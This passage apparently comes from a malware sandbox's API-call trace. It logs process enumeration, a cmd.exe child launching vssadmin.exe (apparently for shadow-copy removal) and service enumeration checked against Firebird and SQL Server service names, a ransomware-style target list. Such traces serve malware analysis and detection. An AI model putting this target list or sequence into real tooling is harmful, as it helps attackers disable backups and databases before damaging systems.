th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.398] lstrlenW (lpString="svchost.exe") returned 11 [0148.398] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.473] lstrlenW (lpString="svchost.exe") returned 11 [0148.473] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.474] lstrlenW (lpString="svchost.exe") returned 11 [0148.474] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.475] lstrlenW (lpString="svchost.exe") returned 11 [0148.475] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0148.476] lstrlenW (lpString="spoolsv.exe") returned 11 [0148.476] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.477] lstrlenW (lpString="svchost.exe") returned 11 [0148.477] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.478] lstrlenW (lpString="svchost.exe") returned 11 [0148.478] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0148.479] lstrlenW (lpString="audiodg.exe") returned 11 [0148.479] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0148.480] lstrlenW (lpString="sihost.exe") returned 10 [0148.480] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.480] lstrlenW (lpString="svchost.exe") returned 11 [0148.481] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0148.481] lstrlenW (lpString="taskhostw.exe") returned 13 [0148.481] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0148.482] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0148.482] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0148.483] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0148.483] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0148.484] lstrlenW (lpString="explorer.exe") returned 12 [0148.484] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0148.485] lstrlenW (lpString="Memory Compression") returned 18 [0148.485] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0148.486] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0148.486] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0148.487] lstrlenW (lpString="SearchUI.exe") returned 12 [0148.487] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0148.488] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0148.488] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0148.576] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0148.576] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0148.577] lstrlenW (lpString="UsoClient.exe") returned 13 [0148.577] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0148.579] lstrlenW (lpString="msoia.exe") returned 9 [0148.579] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0148.580] lstrlenW (lpString="taskhostw.exe") returned 13 [0148.580] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0148.581] lstrlenW (lpString="msoia.exe") returned 9 [0148.581] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0148.582] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0148.582] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0148.583] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0148.583] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0148.585] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0148.585] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0148.586] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0148.586] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0148.836] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0148.837] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0148.838] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0148.838] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0148.839] lstrlenW (lpString="concerned venture.exe") returned 21 [0148.839] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0148.840] lstrlenW (lpString="organizingscsi.exe") returned 18 [0148.840] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0148.841] lstrlenW (lpString="airplane placing.exe") returned 20 [0148.841] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0148.842] lstrlenW (lpString="circus.exe") returned 10 [0148.842] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0148.843] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0148.843] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0148.844] lstrlenW (lpString="das.exe") returned 7 [0148.844] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0148.845] lstrlenW (lpString="beam removable.exe") returned 18 [0148.845] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0148.846] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0148.846] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0148.847] lstrlenW (lpString="dome.exe") returned 8 [0148.847] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0148.848] lstrlenW (lpString="wiresjacket.exe") returned 15 [0148.848] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0148.849] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0148.849] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0148.850] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0148.850] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0148.851] lstrlenW (lpString="tested.exe") returned 10 [0148.851] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0148.852] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0148.852] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0148.853] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0148.853] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0148.854] lstrlenW (lpString="level.exe") returned 9 [0148.854] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0148.856] lstrlenW (lpString="dllhost.exe") returned 11 [0148.856] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0148.857] lstrlenW (lpString="conhost.exe") returned 11 [0148.857] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0148.858] lstrlenW (lpString="conhost.exe") returned 11 [0148.858] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.859] lstrlenW (lpString="svchost.exe") returned 11 [0148.859] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0148.860] lstrlenW (lpString="load0.exe") returned 9 [0148.860] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0148.861] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0148.861] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0148.862] lstrlenW (lpString="conhost.exe") returned 11 [0148.862] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0148.863] lstrlenW (lpString="cmd.exe") returned 7 [0148.863] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0148.864] lstrlenW (lpString="conhost.exe") returned 11 [0148.864] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.984] lstrlenW (lpString="svchost.exe") returned 11 [0148.984] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0148.985] lstrlenW (lpString="vssadmin.exe") returned 12 [0148.985] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0148.988] lstrlenW (lpString="LogonUI.exe") returned 11 [0148.988] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0148.989] CloseHandle (hObject=0x1038) returned 1 [0148.989] Sleep (dwMilliseconds=0x1f4) [0150.136] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3618 [0150.137] EnumServicesStatusExW (in: hSCManager=0x5e3618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0150.138] GetLastError () returned 0xea [0150.138] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1dbc) returned 0x64ac08 [0150.138] EnumServicesStatusExW (in: hSCManager=0x5e3618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x64ac08, cbBufSize=0x1dbc, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x64ac08, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0150.144] CloseServiceHandle (hSCObject=0x5e3618) returned 1 [0150.144] lstrlenW (lpString="Appinfo") returned 7 [0150.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0150.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0150.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0150.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0150.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0150.144] lstrlenW (lpString="AppXSvc") returned 7 [0150.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0150.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0150.144] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0150.144] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0150.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0150.144] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0150.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0150.145] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0150.145] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0150.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0150.145] lstrlenW (lpString="Audiosrv") returned 8 [0150.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0150.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0150.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0150.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0150.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0150.145] lstrlenW (lpString="BFE") returned 3 [0150.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0150.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0150.145] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0150.145] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0150.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0150.145] lstrlenW (lpString="BITS") returned 4 [0150.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0150.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0150.145] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0150.145] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0150.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0150.145] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0150.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0150.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0150.146] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0150.146] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0150.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0150.146] lstrlenW (lpString="CDPSvc") returned 6 [0150.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0150.146] lstrcmpiW 